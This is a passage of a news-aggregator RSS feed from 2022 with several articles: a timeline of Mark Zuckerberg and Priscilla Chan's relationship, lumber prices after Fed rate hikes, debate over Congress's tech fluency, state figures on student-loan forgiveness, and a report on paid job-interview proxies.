Early on in their relationship, Chan set some strict ground rules because Zuckerberg was so busy with Facebook. Chan required one date per week, and a minimum of 100 minutes of alone time per week not at Facebook.

mark zuckerberg priscilla chan initiative
In this Sept. 20, 2016 file photo, Facebook CEO Mark Zuckerberg and his wife, Priscilla Chan, smile as they prepare for a speech in San Francisco.

AP Photo/Jeff Chiu, File

Source: The Wall Street Journal

"They walk in the park, go rowing (he insists that they go in separate boats and race), play bocce or the board game the Settlers of Catan. Sundays are reserved for Asian cuisine," the New Yorker wrote about the couple in 2010.

Mark Zuckerberg Priscilla Chan
Zuckerberg and Chan in 2016.

Adam Berry/Getty Images

Source: The New Yorker

Chan was there when Zuckerberg turned down multiple buyout offers, including a $ 1 billion offer from Yahoo in 2006. She told the New Yorker in 2010 that during that time period, Zuckerberg was the most stressed-out that she'd ever seen him.

Priscilla Chan and Mark Zuckerberg standing on street in China
Chan and Zuckerberg in China in 2012.

Stringer/Reuters

Source: The New Yorker

While still a med student at UCSF, Chan moved in September 2010 to Zuckerberg's rented house in the College Terrace neighborhood of Palo Alto. He announced the news on — where else — Facebook. "Now we have 2x everything, so if you need any household appliances, dishes, glasses, etc please come by and take them before we give them away," he wrote.

819 la jennifer facebook house
The "Facebook house" in Palo Alto.

Rob Price/BI

Source: The New York Times

In May 2011, Zuckerberg and Chan bought a five-bedroom home for $ 7 million in Palo Alto and tricked it out with a "custom-made artificially intelligent assistant." The following year, Zuckerberg bought the four homes surrounding the residence for $ 43 million to allow him to expand his property.

mark zuckerberg house home palo alto 4x3
Zuckerberg and Chan's home in Palo Alto's Crescent Park neighborhood.

Zillow

Source: Insider

In March 2011, Chan and Zuckerberg adopted a dog, a Puli they named Beast. That same month, the couple finally made their relationship Facebook official.

Hungarian Puli
A Puli, though not Mark Zuckerberg's Beast.

Jacob King/PA Images via Getty Images

Source: Today Show

In May 2012, Zuckerberg and Chan tied the knot in a surprise wedding ceremony just days after Chan graduated from med school and Zuckerberg took his company public. The couple told guests that the event was a surprise graduation party for Chan, then treated their guests to a wedding ceremony in the backyard of the couple's Palo Alto house.

Priscilla Chan and Mark Zuckerberg hold hands while walking outside and smiling at each other
Chan and Zuckerberg at the Sun Valley conference in 2013.

Rick Wilking/Reuters

Source: CNN Money, Washington Post

The newlyweds — and newly minted billionaires — spent their honeymoon in Rome, Italy, but had a pretty casual vacation: they were spotted eating McDonald's for a meal while abroad.

Singapore large fries.
McDonald's fries.

Marielle Descalsota/Insider

Source: Insider

Not long after returning from their honeymoon, Zuckerberg purchased a townhouse in San Francisco's Dolores Heights neighborhood for $ 10 million. He spent an additional $ 1.6 million to remodel the place. He sold the home in 2022 for $ 31 million.

dolores park
Zuckerberg's home is near Dolores Park, in the Mission District of San Francisco.

Katherine Papera/EyeEm/Getty Images

Source: Insider, Insider

Zuckerberg and Chan made a major purchase in October 2014: two properties in Kauai, Hawaii, for more than $ 100 million. They've since added to the estate two more times and now own roughly 1,500 acres in Kauai.

Kauai, Hawaii
Kauai, Hawaii.

Jennifer McDermott/AP

Source: Insider, Insider

Chan finished her medical residency, with a specialty in pediatrics, in June 2015. She then went on to work as a pediatrician at San Francisco General Hospital.

priscilla chan

Justin Sullivan/Getty Images

Source: CNN Money

In July of that year, Zuckerberg announced on Facebook that Chan was pregnant. The couple had been trying for years, but Chan suffered three miscarriages along the way. "It's a lonely experience," Zuckerberg wrote. Chan gave birth to a baby girl that December and the couple named her Max — short for Maxima.

Mark Zuckerberg Priscilla Chan

Taylor Hill/Getty Images

Source: ABC, Insider

To celebrate the birth of their daughter, the couple also announced the launch of the Chan Zuckerberg Initiative. The couple pledged to donate 99% of their Facebook shares through the organization. Chan left her role as a pediatrician to run the organization full-time.

chan zuckerberg initiative mark zuckerberg priscilla chan
Zuckerberg and Chan embrace during a Chan Zuckerberg Initiative event in 2016.

Beck Diefenbach/Reuters

Source: Insider, Quartz

The couple announced in 2016 they would invest $ 3 billion of the Chan Zuckerberg Initiative's funds into research for curing the world's diseases. Their goal is to cure all diseases in the lifetime of their daughter, Max.

Priscilla Chan stands on stage in front of photo of her, Mark Zuckerberg, and their daughter Max

Beck Diefenbach/Reuters

Source: Insider

Together, the couple have given hundreds of millions to charity. They announced in 2015 they were signing onto the Giving Pledge, a commitment made by billionaires to give away more than half of their wealth during their lifetimes or in their wills.

Mark Zuckerberg Priscilla Chan
Mark Zuckerberg and his wife Priscilla Chan.

Peter Barreras/Invision/AP

Source: Giving Pledge

Chan and Zuckerberg have also made efforts to support education on both coasts. The Meta CEO made a $ 100 million investment back in 2010 into the struggling school system in Newark, New Jersey, but the effort ultimately failed. In 2015, Chan and Zuckerberg launched their own school, called The Primary School, for students in low-income areas.

Mark Zuckerberg and Priscilla Chan stand on stage in front of CZ logo

Beck Diefenbach/Reuters

Source: Insider

The couple also donated $ 75 million in 2015 to a San Francisco public hospital, which was then renamed after Zuckerberg. In 2020, the hospital's name was formally condemned by city officials, who accused the couple of tax evasion and Facebook of "endangering public health" by allowing misinformation to spread on its platform.

Zuckerberg San Francisco General Hospital
San Francisco General Hospital changed its name to Zuckerberg San Francisco General in 2015 after Facebook CEO Mark Zuckerberg and his wife Priscilla Chan donated $ 75 million to the 147-year-old institution.

Justin Sullivan/Getty Images

Source: Insider, Insider

Meanwhile, Zuckerberg and Chan welcomed the birth of their second daughter in August 2017, whom they named — appropriately — August. Zuckerberg took two months off work for paternity leave after August's birth.

mark zuckerberg priscilla chan

MOLLY RILEY/AFP via Getty Images

Source: Insider

Zuckerberg and Chan have also traveled the world together. Early on in their relationship, they agreed to vacation for two weeks every year overseas. They've taken trips to Dubai, Mumbai, and China, where they visit Chan's family. Zuckerberg spent years learning Mandarin from Chan.

mark zuckerberg priscilla chan china
Mark Zuckerberg and Priscilla Chan walking around Shanghai in March 2012.

Reuters/Stringer

Source: New York Times, NBC News

Zuckerberg and Chan took a trip in 2016 to Rome, where they met with Pope Francis at the Vatican. Zuckerberg gave the pope a miniature model of a Facebook solar-powered drone.

mark zuckerberg priscilla chan pope francis vatican

L'Osservatore Romano/Pool Photo via AP

Source: Insider

Zuckerberg and Chan added to their real estate portfolio in 2018, secretly dropping $ 59 million to purchase two waterfront estates in Lake Tahoe. Together, the two properties have 600 feet of private waterfront access.

lake tahoe
Lake Tahoe in the winter.

Gado/Getty Images

Source: Insider

In December 2019, Zuckerberg and Chan offered a rare glimpse inside their home on "CBS This Morning" as they made challah bread with Max and August.

Gayle King, Priscilla Chan, Maxima Zuckerberg, August Zuckerberg, and Mark Zuckerberg

"CBS This Morning"

Source: Insider

Amid the coronavirus outbreak, the Chan Zuckerberg Initiative formed a COVID-19 task force to help increase the testing abilities of labs in the Bay Area.

coronavirus lab tests
Airport authorities check-up on passengers arriving to Moscow from Beijing and Hong Kong at Sheremetyevo International Airport in Moscow, Russia on February 26, 2020.

Getty Images

Source: Insider

The couple announced in September 2022 that they're expecting their third child together. "Happy to share that Max and August are getting a new baby sister next year!" Zuckerberg wrote on Instagram.

Mark Zuckerberg and Priscilla Chan
Priscilla Chan and Mark Zuckerberg.

Kimberly White/Getty Images

Source: Insider

Paige Leskin contributed to an earlier version of this article. Additional reporting from Alyson Shontell.

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]]> https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/feed/ 0 Lumber falls after mortgage rates solidify their move above 6% amid hawkish Fed rate hikes https://briefnews.eu/lumber-falls-after-mortgage-rates-solidify-their-move-above-6-amid-hawkish-fed-rate-hikes/ https://briefnews.eu/lumber-falls-after-mortgage-rates-solidify-their-move-above-6-amid-hawkish-fed-rate-hikes/#respond Thu, 22 Sep 2022 19:04:16 +0000 https://briefnews.eu/lumber-falls-after-mortgage-rates-solidify-their-move-above-6-amid-hawkish-fed-rate-hikes/ Lumber home Depot
A discounted batch of planks is seen as people shop for lumber at a Home Depot store in Alhambra, California on May 4, 2022.

FREDERIC J. BROWN/AFP via Getty Images

  • Lumber prices extended their 2-day decline to 10% after the Fed hiked interest rates by 75 basis points on Wednesday.
  • The aggressive interest rate hike from the Fed helped solidify the recent surge in mortgage rates to above 6%.
  • "The lumber market continues to be in a state of overall malaise as buyers anticipate lower overall demand going forward," Sherwood Lumber told Insider.

Lumber prices fell 6% on Thursday, extending their two-day decline to 10% after the Federal Reserve hiked interest rates by another 75 basis points.

The aggressive interest rate hikes from the Fed have helped solidify the ongoing surge in mortgage rates, which jumped above 6% for the first time since 2008 earlier this month and have doubled over the past year. On Thursday, the average 30-year fixed mortgage rate surged another 27 basis points from last week to 6.29%, according to data from Freddie Mac.

The surge in mortgage rates have taken a significant bite out of home sales, which has in-turn led to price cuts and has dented homebuilder sentiment.

"The lumber market continues to be in a state of overall malaise as buyers anticipate lower overall demand going forward. Many yards are trying to pare their inventories to minimum levels and have really no fear of price upside," Sherwood Lumber's director of risk management Steve Loebner told Insider. 

"This has taken all of the urgency of the past two years out of the market. We have had a few supply and transportation scares which caused short term rallies, however these have all been quickly shrugged off. Home prices are resetting to reflect the higher mortgage rates and this is a process which can take some time," Loebner said. 

But the housing market hasn't completely fallen apart, and after a more than 70% decline from its record high, lumber prices can still catch a bid going forward.

"There is still a solid backlog of demand on existing single and multi-family [housing] projects… Multi-family demand in particular has been very robust and many traders report near record backlogs of projects on the books which will be starting over the next few quarters. We have also started to see some modest [lumber] production curtailments, which over time will become more prevalent if pricing remains depressed," Loebner said. 

Steady demand for the essential building commodity, combined with declining supply due to potential production curtailments could ultimately spell upside for lumber in the future, at least as long as demand holds up. 

"We are in for a slower grind and a more challenging market environment. However with many of the benchmark commodity lumber items already down approximately 70% from their levels earlier this year, the pervasive bearish sentiment, and the likelihood of less supply, traders would be well advised to consider the risk/reward of being overly negative at this point," Loebner concluded.

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]]> https://briefnews.eu/lumber-falls-after-mortgage-rates-solidify-their-move-above-6-amid-hawkish-fed-rate-hikes/feed/ 0 Tech leaders dish on how asinine it is to try to describe their companies, products, and worth to Congress https://briefnews.eu/tech-leaders-dish-on-how-asinine-it-is-to-try-to-describe-their-companies-products-and-worth-to-congress/ https://briefnews.eu/tech-leaders-dish-on-how-asinine-it-is-to-try-to-describe-their-companies-products-and-worth-to-congress/#respond Wed, 21 Sep 2022 09:40:27 +0000 https://briefnews.eu/tech-leaders-dish-on-how-asinine-it-is-to-try-to-describe-their-companies-products-and-worth-to-congress/ The United States Capitol being crushed by a large hand with a phone.

Jantakon Kokthong/EyeEm/Getty; Christian Offenberg/EyeEm/Getty; Anna Kim/Insider

  • Tech companies are worried an aging Congress can't meet or even understand their demands.
  • Some members of Congress said age plays no factor in their regulatory abilities.
  • Younger members of Congress are beginning to take the lead in conversations on tech issues.
  • Read more from Insider's "Red, White, and Gray" series.

The internet is a "series of tubes." 

At least that's how then Sen. Ted Stevens, an Alaska Republican who was 81 years old at the time, tried to explain the World Wide Web on the Senate floor in 2006. The internet, he said, is not something you can just "dump things on. It's not a big truck."

In 2018, the late Sen. Orrin Hatch of Utah, who was 84 at the time, asked the Facebook CEO Mark Zuckerberg during his testimony after the Cambridge Analytica data leak how the popular social-media app makes money when it doesn't charge users for the platform.

Zuckerberg reacted with a quizzical expression. 

"Senator, we run ads," he deadpanned.

Over the years, big tech and social media have often stumped Congress. Many tech leaders, tech-policy experts, and lawmakers themselves argue that the increasingly advanced ages of those in office is partly to blame for the inadequacy of Washington's regulatory efforts for an industry evolving at warp speed. 

"I've seen how fast all of this has changed, and it's pretty disturbing, and we're not willing to have more of a serious conversation," Sen. Chris Murphy, a 49-year-old Connecticut Democrat and member of Generation X, told Insider. "I'm young enough that I know how to use the technology, but I'm old enough that I remember when it didn't exist."

Mark Zuckerberg testifying
Facebook co-founder Mark Zuckerberg testifies before a combined Senate Judiciary and Commerce committee hearing in the Hart Senate Office Building on Capitol Hill on April 10, 2018 in Washington, DC.

Chip Somodevilla/Getty Images

Tech's 'beef' with baby boomers

As communications and technology grow ever more complex, Congress has been slow to craft policy that addresses urgent public concerns including data privacy, digital disinformation, net neutrality, and cryptocurrency.

Making laws that affect technology can be complicated, confusing even the most tech-savvy people. The tech sector has grown increasingly concerned about legislators' lack of understanding when it comes to the industry's needs.

"It's really about trying to make the connection between a piece of technology and what it means for my constituents. And I think it's incumbent upon executives to tell a good story, communicate effectively, and make the connection about why a member should care," a former senior congressional aide who now works at a social-media company told Insider. "But I think politicians that are not digital natives just don't have that personal experience that perhaps younger, more online Americans have for a better understanding of technology." 

The former aide, who was granted anonymity because of his company's communication policy, added that he has a lot of sympathy for members of Congress — they're expected to be conversant on every issue under the sun, from energy to healthcare to banking. The self-identified Gen Xer argued that Washington and Congress are a year or two behind the American people as a whole when it comes to a recognition of issues and adoption of technology, which he believes is due in part to an aging Congress.

"My big beef is that the baby boomers just won't get off the stage," the ex-aide said. "They've really stifled a generation. You really can't name too many Gen Xers that have had any impact."

And while Congress works on a committee system with experts and staff who understand the technology and the issues at play, the majority of politicians are not digital natives — and they are the ones who ultimately cast votes.  

"It's a problem, and not just limited to tech," the ex-aide said. "With anything complex, it really takes a level of expertise. And as things get more and more complex, it gets more challenging for lawmakers to be able to wrap their heads around it." 

If in the past there had been a laissez-faire view that people in tech wanted Washington to leave them alone, that changed after events like the Facebook-Cambridge Analytica data scandal surrounding Donald Trump's victory in the 2016 presidential election, said another former senior staff member on Capitol Hill who is now head of government relations at a software company. 

"With the growth of these kinds of major tech companies, I think most of these CEOs will admit that they want to be regulated in the right way, and they want to have clear rules that they can play and compete with," he told Insider. "And I think the thing to remember for the CEOs is that they're not just operating in the US market, they're trying to run multinational corporations that have to play in multiple regulatory jurisdictions across the world."

Any kind of policy is hard, he added. "Age is a factor, but not the factor. This is a multifactor issue."

Lawmakers debate the age issue

Despite doubts among the tech community, some Capitol Hill employees say their ability to regulate tech is unrelated to their ages, especially those who serve on committees that directly handle these issues.

Heather Vaughan, minority communications director for the House Committee on Science, Space, and Technology, said lawmakers are capable of understanding the ins and outs of tech with the help of other members on their committees, outside researchers, and experts in the field.

"As much as I understand the criticism that older politicians don't necessarily have a handle on new technologies, it's important to push back on that idea of ageism," Vaughan told Insider in an email. "Obviously younger members tend to use social media more, but that doesn't mean older politicians don't or can't understand a topic because of their age."

Some members of Congress agree: They don't think age or generation affects their legislative capabilities when it comes to technology.

"I don't know if it's an old versus young thing. I mean, some members just stay current on technology and some do not," said Rep. Bill Foster, 66, a Democrat from Illinois.

Foster, the only current lawmaker to hold a doctorate in physics who serves on the House Committee on Science, Space, and Technology, believes that Congress' grasp of technology doesn't need to be fully developed for lawmakers to write good policy.

"What they have to understand is not the nuts and bolts of the technology," Foster said. "There are probably 1,000 people on earth that actually understand every single piece of what's inside a cell phone. That doesn't mean that they shouldn't be allowed or can't be productive using them." 

Rep. Jerry McNerney, a 71-year-old Democrat representing Stockton, California, an area northeast of Silicon Valley, also doesn't think generational gaps affect most members' ability to legislate tech.

"You know, when I got to Congress I was 55, and I wondered if I would fit in with younger members, but the age doesn't come into play as much," McNerney told Insider. 

But younger politicians in both major parties have raised concerns in recent years that older lawmakers aren't well-prepared to handle tech policy. Among them is Sen. Josh Hawley, a 42-year-old Missouri Republican. 

"I do think there are significant generational differences in the Senate that cross party lines, and I think I've long thought that the tech issue is one of them where you really see some fairly significant generational differences," Hawley told Insider. 

Hawley said younger members are generally more critical of big tech.

"I think folks who are a little younger — I mean, listen, I can't say I'm a young man anymore. I wish. But folks who are maybe younger, I think probably when it comes to the tech issue, in particular, just have been maybe a little more alert to it," Hawley said.

The former Democratic presidential candidate Andrew Yang, who helped form the middle-of-the-road Forward Party last year, has often castigated older legislators for their ineptitude when it comes to tech.

Yang noted in a July interview with Yahoo News — the same month he unveiled the new Forward Party — that the average senator is 64 years old. "The truth is that if you didn't use some of these technologies, you don't understand just how foundational their impacts are," he said.

The tech fluency of Congress

Data indicates that Generation Z is far more tech-savvy than older generations, and more than 95% of Americans between the ages of 18 and 49 said they own a smartphone, according to a study of Americans' mobile-phone ownership by the Pew Research Center. The percentage of smartphone ownership drops significantly at the 65-plus age bracket, with 61% of Americans in this category saying they own one.

Senate Majority Leader Chuck Schumer, a 71-year-old New York Democrat, ranks among those who proudly cling to their flip phones. The senator has been spotted frequently around the Capitol talking into a dated flip phone. 

Chuck Schumer flip phone
Senate Majority Leader Chuck Schumer talks with the media on his flip phone.

Tom Williams/CQ Roll Call

Garrick Hileman, a visiting fellow at the London School of Economics and longtime researcher of cryptocurrencies and blockchain technology, said there are some tech-savvy members of Congress who are older. However, he added, new technologies are more widely used by younger people, and users tend to understand technology better. 

Hileman cited a conversation he had with Michael Casey, the chief content officer of CoinDesk, about the news site's decision to allow its reporters to trade cryptocurrency. 

From an ethics standpoint, a journalist reporting on an asset they own may lead to questions over their objectivity.

"What CoinDesk found is that reporters who are actually using the cryptocurrency can write more fluently and can better understand what it is they're writing about," Hileman told Insider. "And I think that's true of any technology. If a member of Congress is actually using the internet, using email, using cryptocurrency, I think they're going to have a better understanding of it."

There are clear exceptions, he noted, but in general, younger people have a higher level of tech fluency than the baby-boomer generation. 

When Stefan Eich, an assistant professor of government at Georgetown University, attended congressional hearings on Facebook's Libra, he was stunned by the low quality of the questions and the lack of knowledge displayed by members of Congress. Libra is a cryptocurrency created by the social-media giant in 2019 and wound down in January.  

The vast majority of Congress, irrespective of party, had no idea what was going on, Eich said. 

"Even if they had been given a question that someone had researched, at the very least, they were making mistakes when reading it out, and it was clear that they didn't understand what they were saying," Eich told Insider of the hearings.

But he said there were some members, largely younger, who nailed it. 

Rep. Alexandria Ocasio-Cortez, the youngest woman to ever serve in Congress, posed some of the best questions, he said. 

"That kind of confirms the suspicion that age might have something to do with it," he said.  

AOC
Rep. Alexandria Ocasio-Cortez, a Democrat from New York, attends a House Financial Services Committee hearing on Facebook's Libra.

Tom Williams/CQ Roll Call

What was so striking to Eich, who is also a researcher of money in politics, was that the most effective questions weren't very technical. Instead, they focused on power, Eich said.

"They used their knowledge of the technology not to ask questions that engaged on the level of technology, but were able to pierce through the smokescreen," he said. "And those were the questions that the older folks couldn't ask because they were so bamboozled by the tech."

Ocasio-Cortez, 32, demonstrated her understanding of Libra by posing questions that went beyond the nitty-gritty of the currency's framework. She asked Facebook's cryptocurrency boss, David Marcus, why the social-media giant should be allowed to consolidate its various activities and a digital currency under one corporation. She also asked a question about governance over the reserve, in which she pointed out that the group of organizations Facebook formed to oversee the currency is largely composed of corporations and not democratically elected representatives. 

"So we are discussing a currency controlled by an undemocratically selected coalition of largely massive corporations," the congresswoman said. 

Eich said older, less tech-savvy lawmakers also don't attract the best staffers in the tech arena. Younger members of Congress tend to be better informed but also more aware of what they don't know, he added, which allows them to hire the right kind of people to gain expertise.

"Experts are more likely to start looking for people who already show interest," Eich said. "Why would you go work for that old senator who can't even get his iPad started? You're more likely to start working for a young member who's actually interested in tech." 

But Elaine Kamarck, a senior fellow in the governance studies program and the director of the Center for Effective Public Management at the Brookings Institution, told Insider the generational gap will shrink over time.

"With every year, the workforce gets more tech-savvy, so as the workforce is more tech-savvy, then these disparities between age really tend to disappear," Kamarck said. "My guess is that will happen in the Congress as well."

While the net was rising in popularity in the 1990s and early 2000s, Kamarck was working for the Clinton administration. The young, baby-boomer president and vice president led a "reinventing government" initiative with the goal of encouraging a more tech-savvy US bureaucracy.

One idea to boost Congress' collective tech IQ is for federal lawmakers to reconstitute a congressional Office of Technology Assessment, which House Republicans, led by then Speaker Newt Gingrich, defunded in 1995. The office "provided congressional members and committees with objective and authoritative analysis of the complex scientific and technical issues," according to the Library of Congress.

Meanwhile, major tech companies continue to ramp up their federal lobbying spending, together spending more in 2021 than in any other year in history.

Meta and Amazon.com both ranked in the Top 10 among organizations and companies in terms of federal lobbying spending during 2021, according to nonpartisan research group OpenSecrets.

And ByteDance, the parent company of video platform TikTok, went from spending nothing on federal-level lobbying in 2018 to nearly $ 5.2 million in 2021.

This year, ByteDance counts four former members of Congress — Sens. John Breaux and Trent Lott and Reps. Jeff Denham and Bart Gordon — among the 40 registered lobbyists it's so far employed during 2022. 

Congress and tech policy

Congress hasn't been completely oblivious to the pressing need to pass legislation to address the rapid advancements in technology.

For example, with rising concerns over semiconductor availability, Congress in July passed the bipartisan CHIPS and Science Act, which would provide $ 52 billion to boost semiconductor production in the US. 

More recently, Twitter's former head of security, Peiter Zatko, testified before the Senate Judiciary Committee about a whistleblower complaint he filed in August, in which he said the company deceived federal regulators, consumers, and board members about its security practices. According to Zatko's complaint, Twitter's servers were running out-of-date and vulnerable software, and executives withheld important information about the number of security breaches and lack of protection for user data. 

In September, current and former social-media executives testified at a Senate hearing focused on social media's threat to homeland security. They argued that companies including YouTube, Twitter, Meta, and TikTok prioritize profit over ensuring the safety of their users. 

"Rather than address the serious issues raised by its own research, Meta leadership chooses growing the company over keeping more people safe," Brian Boland, the former vice president of product engineering and marketing at Facebook, said during the hearing. 

In June, the House Committee on Energy and Commerce introduced the bipartisan American Data and Privacy Act "to provide consumers with foundational data privacy rights, create strong oversight mechanisms, and establish meaningful enforcement."

The legislation is still in the early stages, but if passed, it will require companies to explicitly disclose how they will collect, process, and transfer a user's data, as well as allow users to download their own data from the internet within 24 hours of requesting it.

Sen. Brian Schatz of Hawaii, who's worked with Murphy on legislation to protect people's personal data online, is also a 49-year-old Democrat and member of Generation X. The senator, who sits on the Senate Subcommittee on Communications, Media, and Broadband, has had several pieces of tech-related legislation signed into law. Most recently, President Joe Biden signed into law the Better Cybercrime Metrics Act, a bipartisan bill authored by Schatz that will help fight cybercrime and keep people safe from online scams.

Members of the Republican Party have recently escalated their attacks on Google over email spam. 

According to documents published by The Washington Post in early August, the National Republican Senatorial Committee is blaming Google for its recent fundraising difficulties, claiming the company is boosting Democratic efforts through its algorithms. 

The effort is being spearheaded by GOP Sen. Chuck Grassley of Iowa, 88, who argued that Google should function more like the US Postal Service, because sending emails to spam is the same as refusing to deliver the mail, the Post reported.

Relatedly — and after much debate —the Federal Election Commission, a bipartisan regulatory agency, in August approved Google's request to launch a pilot program that helps political candidates avoid Gmail spam filters.

Over the years, private companies have attempted to crack down on dangerous speech, including hate speech, on their platforms, provoking heated debates over content regulation. 

Section 230 of the Communications Decency Act, or the "26 words that created the internet," provides protections for users and social-media companies so they cannot be treated as the publisher of content from a third party. In May 2020, Trump issued an executive order to limit the scope of Section 230 and prevent it from silencing conservative voices. Biden has suggested abolishing it altogether.

Critics of the provision argue that it allows companies to blatantly ignore real harm being caused to users, while others argue that it only protects "neutral platforms," though there is no mention of neutrality in the law's text.

Tech companies highly favor the protections of Section 230, which help them to avoid lawsuits and allow the internet to "thrive," Katherine Oyama, the global head of intellectual property policy at Google, wrote to Congress in 2019.

Facebook co-founder, Chairman and CEO Mark Zuckerberg shakes hands with U.S. Sen. Chuck Grassley (R-IA) after testifying before a combined Senate Judiciary and Commerce committee hearing in the Hart Senate Office Building on Capitol Hill April 10, 2018.
Facebook CEO Mark Zuckerberg shakes hands with Sen. Chuck Grassley, a Republican from Iowa, after testifying before a combined Senate Judiciary and Commerce committee hearing on Capitol Hill April 10, 2018.

Zach Gibson/Getty Images

Moving forward on tech policy 

Jessica Seale, a public-policy professional and nonresident fellow at the Lincoln Network, a think tank that advocates for collaboration between government and technology, believes that quality, consumer-focused tech legislation remains stunted despite all these efforts. 

She cited Meta's campaign to push Congress to create social-media regulations, which started around 2019 with a Zuckerberg op-ed in The Washington Post.  

"Since that op-ed, and possibly before, Facebook/Meta have been purchasing ad space and sponsoring the daily newsletters published by a lot of Beltway publications," Seale told Insider, referring to Washington news outlets such as Politico, National Journal, Roll Call, and The Hill. "Despite the last three or four years of Facebook and Meta putting millions of dollars into this, the needle hasn't really moved, even though there's bipartisan outrage about the platform itself." 

With midterm elections around the corner, voters may be looking for more tech-savvy representation when it comes to keeping their data out of the hands of companies trying to sell it to third parties or to prevent the spread of election misinformation. 

And as technology advances and companies need more from Congress to help protect users, not to mention their business models, younger staffers and lawmakers may have an advantage.

From baby boomers to Generation Z, the gap between who does and doesn't understand social media and technology may only grow. Older lawmakers may not understand Meta's business model or know how the internet works, but with younger members taking the lead on these hot-button issues, there may be hope for tech regulation yet.

Murphy pointed to Schatz as a member of this tech-savvy vanguard. "I don't think it's coincidental that people like Brian Schatz and others of my generation are leading the conversation about how to deal with and how to regulate these new technologies," Murphy said.

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]]> https://briefnews.eu/tech-leaders-dish-on-how-asinine-it-is-to-try-to-describe-their-companies-products-and-worth-to-congress/feed/ 0 22 GOP state governors are trying to block Biden’s student-loan forgiveness even though millions of their residents could benefit https://briefnews.eu/22-gop-state-governors-are-trying-to-block-bidens-student-loan-forgiveness-even-though-millions-of-their-residents-could-benefit/ https://briefnews.eu/22-gop-state-governors-are-trying-to-block-bidens-student-loan-forgiveness-even-though-millions-of-their-residents-could-benefit/#respond Tue, 20 Sep 2022 19:21:52 +0000 https://briefnews.eu/22-gop-state-governors-are-trying-to-block-bidens-student-loan-forgiveness-even-though-millions-of-their-residents-could-benefit/ College graduates
College graduates.

Robyn Beck/AFP via Getty Images

  • 22 GOP state governors urged Biden to withdraw his student-loan forgiveness plan.
  • The White House just released state-by-state data on how many borrowers could be eligible for relief.
  • Millions of borrowers would likely qualify for the debt cancellation in the 22 GOP-led states.

Newly released data revealed the benefits of President Joe Biden's student-loan forgiveness plan could be far-reaching in the Republican-led states trying to block the policy.

Just over a month after Biden announced up to $ 20,000 in student-debt relief for federal borrowers making under $ 125,000 a year, the White House on Tuesday released state-by-state estimates on how many borrowers could be eligible for the relief. In 11 states, over 1 million borrowers are projected to be eligible for the loan forgiveness, per the data, with California leading the list at 3.5 million borrowers.

"I've always maintained that data drives everything, and that's why this announcement today, and this data release, is just so essential," Massachusetts Rep. Ayanna Pressley said during a Tuesday press call. "I'll be honest, I was emotional walking through these numbers with my team, recognizing that behind every number, there is a person, there's a family, there's a story here."

But some Republican politicians might not see it quite that way. On September 12, 22 GOP governors sent a letter to Biden urging him to "withdraw your student loan plan immediately," arguing that the policy is costly, illegal, and unfair to those who already paid off their loans. 

"For many borrowers, they worked hard, made sacrifices, and paid off their debt. For many others, they chose hard work and a paycheck rather than more school and a loan. Americans who did not choose to take out student loans themselves should certainly not be forced to pay for the student loans of others," they wrote. 

Here's how many student-loan borrowers would benefit from Biden's debt relief in each of those 22 states:

  • Alabama: 588,000
  • Alaska: 60,500
  • Arizona: 810,800
  • Arkansas: 365,600
  • Florida:  2,427,600
  • Georgia: 1,506,100
  • Idaho: 201,400
  • Iowa: 408,700
  • Maryland: 747,100
  • Missouri: 777,300
  • Montana: 120,400
  • Nebraska: 232,100
  • New Hampshire: 175,100
  • North Dakota: 82,000
  • Ohio: 1,677,800
  • Oklahoma: 454,300
  • South Carolina: 681,100
  • South Dakota: 109,100
  • Tennessee: 795,300
  • Texas: 3,323,200
  • Utah: 282,700
  • Wyoming: 49,600

An Education Department official told reporters on Tuesday that the administration arrived at those estimates by using "commonly employed statistical techniques" to estimate borrowers' income, along with census data that has detailed information on income for specific groups of people. 

Since Biden announced his relief, Republicans have been pushing back on the policy — some have even expressed intent to block the loan forgiveness in court. But the Biden administration maintains it has the legal standing to carry out this one-time blanket relief and is moving forward with implementation, planning to make an application for relief available in early October. 

"The analysis we are releasing today tells us that President Biden's debt relief plan will touch working families in every corner of the state of the country, in red states and blue states and everywhere in between, states and big cities, sprawling suburbs, tribal lands and remote rural towns," Under Secretary of Education James Kvaal told reporters. "Nearly 20 million borrowers will have their entire balances discharged, others will benefit from lower balances and lower payments."

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]]> https://briefnews.eu/22-gop-state-governors-are-trying-to-block-bidens-student-loan-forgiveness-even-though-millions-of-their-residents-could-benefit/feed/ 0 Professional fakers are charging people up to $150 an hour to sit in their job interviews for them https://briefnews.eu/professional-fakers-are-charging-people-up-to-150-an-hour-to-sit-in-their-job-interviews-for-them/ https://briefnews.eu/professional-fakers-are-charging-people-up-to-150-an-hour-to-sit-in-their-job-interviews-for-them/#respond Thu, 15 Sep 2022 20:04:58 +0000 https://briefnews.eu/professional-fakers-are-charging-people-up-to-150-an-hour-to-sit-in-their-job-interviews-for-them/ job interview

Shutterstock/fizkes

  • A job interview scheme is on the rise where candidates are hiring proxies to sit in for them.
  • Reasons for proxies range from being nervous or under-qualified, to criminals trying to steal data.
  • Some "professional" proxies are charging up to $ 150 an hour to do job interviews.

Some job candidates are hiring proxies to sit in job interviews for them — and even paying up to $ 150 an hour for one.

In a recent Insider investigation into the "bait-and-switch" job interview that's becoming increasingly trendy, one "professional" job interview proxy, who uses a website to book clients and keeps a Google Driver folder of past video interviews, said he charges clients $ 150 an hour.

The proxy was approached by Aamil Karimi, who works at cybersecurity firm Optiv as a principal intelligence analyst. Karimi, who posed as a job seeker to talk to the proxy, told Insider's Rob Price that the "bait-and-switch" trend has been on the rise because of more work-from-home jobs and overseas hiring.

The "bait-and-switch" interview works like this: a job candidate hires someone else to pretend to be them in a job interview in hopes they will secure the job. When the job starts, the person who hired the proxy is the one to show up for work.

In his investigation into the trend, Price examined the many reasons why someone would want to hire a stand-in for their job interview. Maybe the person is "awkward or nervous," or isn't completely fluent in a language to perform well. Most of the time, Price wrote, the candidate is straight up under-qualified or unqualified for the job they want.

Most fields where the trend is happening are non-managerial and non-creative, according to the investigation. And in the IT field, where a lot of the proxies are getting candidates jobs, those fake hires are gaining access to important information that can damage a company's reputation or clients.

With an increasing amount of job interviews happening over the phone or video chat due to remote work environments, the "bait-and-switch" trend is getting easier, experts told Price.

Read the full investigation here.

